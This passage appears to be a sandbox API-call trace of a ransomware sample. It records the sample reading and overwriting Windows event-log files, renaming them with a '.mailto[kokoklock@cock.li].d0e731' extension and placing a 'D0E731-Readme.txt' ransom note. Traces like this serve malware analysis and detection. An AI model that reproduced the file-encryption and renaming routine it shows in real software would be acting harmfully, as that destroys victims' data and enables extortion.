Flags=0x0, BaseAddress=0x3479970) returned 1 [0066.424] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx", dwFileAttributes=0x20) returned 0 [0066.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0066.424] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0066.424] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0066.424] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0066.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0066.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9788) returned 1 [0066.425] RtlExitUserThread (Status=0x1) Thread: id = 197 os_tid = 0x118c [0063.450] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0064.729] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx", dwFileAttributes=0x20) returned 1 [0064.729] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0064.729] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0xaeaf874 | out: lpFileSize=0xaeaf874*=69632) returned 1 [0064.729] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.729] ReadFile (in: hFile=0x3c0, lpBuffer=0xaeaf848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0xaeaf848*, lpNumberOfBytesRead=0xaeaf844*=0x4, lpOverlapped=0x0) returned 1 [0064.730] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.730] NtQuerySystemTime (in: CurrentTime=0xaeaf820 | out: CurrentTime=0xaeaf820*=132121176226278126) returned 0x0 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xb5898a48 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x2967cb69 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x98198d90 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x7920fd4a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x1423d04a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xf9bd2d03 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xb364aabd [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xfb956b33 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x7391e74e [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x51320a5c [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x538e76d4 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x2f3d1125 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xb8f6674a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xcf56b19a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x100f6518 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xd281a5c4 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x87b0f608 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xd215aa9f [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x9ea0883e [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xb802d82b [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x55de838f [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xfa27cf5a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x7dfe28c9 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x7d811cab [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x1703818a [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xe31dfeaa [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xf393f37d [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x9c3478ec [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x181c673d [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0x68a1cbe3 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xe11d34f7 [0064.731] RtlRandom (in: Seed=0xaeaf82c | out: Seed=0xaeaf82c) returned 0xbb56e67 [0064.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.742] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.742] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaeaf7f8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xaeaf7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.743] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.744] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaeaf7f8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xaeaf7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.744] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.744] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaeaf830, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xaeaf830*=0x20, lpOverlapped=0x0) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efb08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0x33efb08*, lpNumberOfBytesWritten=0xaeaf844*=0x8, lpOverlapped=0x0) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0xaeaf85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0xaeaf85c*, lpNumberOfBytesWritten=0xaeaf844*=0x4, lpOverlapped=0x0) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xaeaf844*=0x4, lpOverlapped=0x0) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xaeaf844*=0x6c, lpOverlapped=0x0) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xaeaf844*=0x20, lpOverlapped=0x0) returned 1 [0064.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeaf844, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xaeaf844*=0x4, lpOverlapped=0x0) returned 1 [0064.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.745] CloseHandle (hObject=0x3c0) returned 1 [0064.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e110 [0064.748] wcscpy (in: _Dest=0x347e110, _Source="C:\\Logs\\Setup.evtx" | out: _Dest="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx" [0064.748] wcscat (in: _Dest=0x347e110, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" [0064.748] MoveFileW (lpExistingFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), lpNewFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\setup.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.748] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e110) returned 1 [0064.749] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx", dwFileAttributes=0x20) returned 0 [0064.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ea8 [0064.749] wcscpy (in: _Dest=0x3433ea8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.749] wcscat (in: _Dest=0x3433ea8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.749] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ea8) returned 1 [0064.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc2e0) returned 1 [0064.749] RtlExitUserThread (Status=0x1) Thread: id = 198 os_tid = 0x1190 [0063.451] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0064.861] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx", dwFileAttributes=0x20) returned 1 [0064.861] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x778 [0064.861] GetFileSizeEx (in: hFile=0x778, lpFileSize=0xaf2fe20 | out: lpFileSize=0xaf2fe20*=1118208) returned 1 [0064.861] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.861] ReadFile (in: hFile=0x778, lpBuffer=0xaf2fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0xaf2fdf4*, lpNumberOfBytesRead=0xaf2fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.864] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.864] NtQuerySystemTime (in: CurrentTime=0xaf2fdcc | out: CurrentTime=0xaf2fdcc*=132121176227527987) returned 0x0 [0064.864] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x3abcc42b [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xca726aac [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xbea1551b [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x740e2e45 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x579d8e8f [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x39490c31 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xf095827c [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x3427f8ec [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x1bcefc38 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x2150829 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x52105104 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x1386f7d8 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x36010a51 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xdfd12c96 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x7cf116ba [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xb1549605 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x4a9335ba [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x93fafe84 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x9e4522e0 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x662d8ce4 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xe6b8f940 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xab27f570 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xc467e9cb [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x73609cbf [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xf74cee61 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x27a543c1 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xa6964b17 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xe535c07a [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xd6f334f7 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0xf9684a0c [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x4efdddc7 [0064.865] RtlRandom (in: Seed=0xaf2fdd8 | out: Seed=0xaf2fdd8) returned 0x4a9288ca [0064.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0064.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0064.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.876] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.876] ReadFile (in: hFile=0x778, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.878] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4d8 [0064.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4d8) returned 1 [0064.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.879] WriteFile (in: hFile=0x778, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.879] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.879] ReadFile (in: hFile=0x778, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.880] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd430 [0064.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0064.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be708 [0064.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be708) returned 1 [0064.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be708 [0064.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be5c8 [0064.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be5c8) returned 1 [0064.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0064.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd430) returned 1 [0064.881] WriteFile (in: hFile=0x778, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.881] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.881] ReadFile (in: hFile=0x778, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.882] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7a8 [0064.882] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7a8) returned 1 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be730 [0064.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be438 [0064.882] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be438) returned 1 [0064.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0064.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.883] WriteFile (in: hFile=0x778, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaf2fd8c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xaf2fd8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.883] WriteFile (in: hFile=0x778, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf2fde8, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xaf2fde8*=0x20, lpOverlapped=0x0) returned 1 [0064.883] WriteFile (in: hFile=0x778, lpBuffer=0x34be708*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf2fde8, lpOverlapped=0x0 | out: lpBuffer=0x34be708*, lpNumberOfBytesWritten=0xaf2fde8*=0x20, lpOverlapped=0x0) returned 1 [0064.883] WriteFile (in: hFile=0x778, lpBuffer=0x34be730*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf2fde8, lpOverlapped=0x0 | out: lpBuffer=0x34be730*, lpNumberOfBytesWritten=0xaf2fde8*=0x20, lpOverlapped=0x0) returned 1 [0064.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0xaf2fdf0*=0x8, lpOverlapped=0x0) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0xaf2fe08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0xaf2fe08*, lpNumberOfBytesWritten=0xaf2fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xaf2fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xaf2fdf0*=0x6c, lpOverlapped=0x0) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0x33efb08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33efb08*, lpNumberOfBytesWritten=0xaf2fdf0*=0x20, lpOverlapped=0x0) returned 1 [0064.884] WriteFile (in: hFile=0x778, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf2fdf0, lpOverlapped=0x0 | 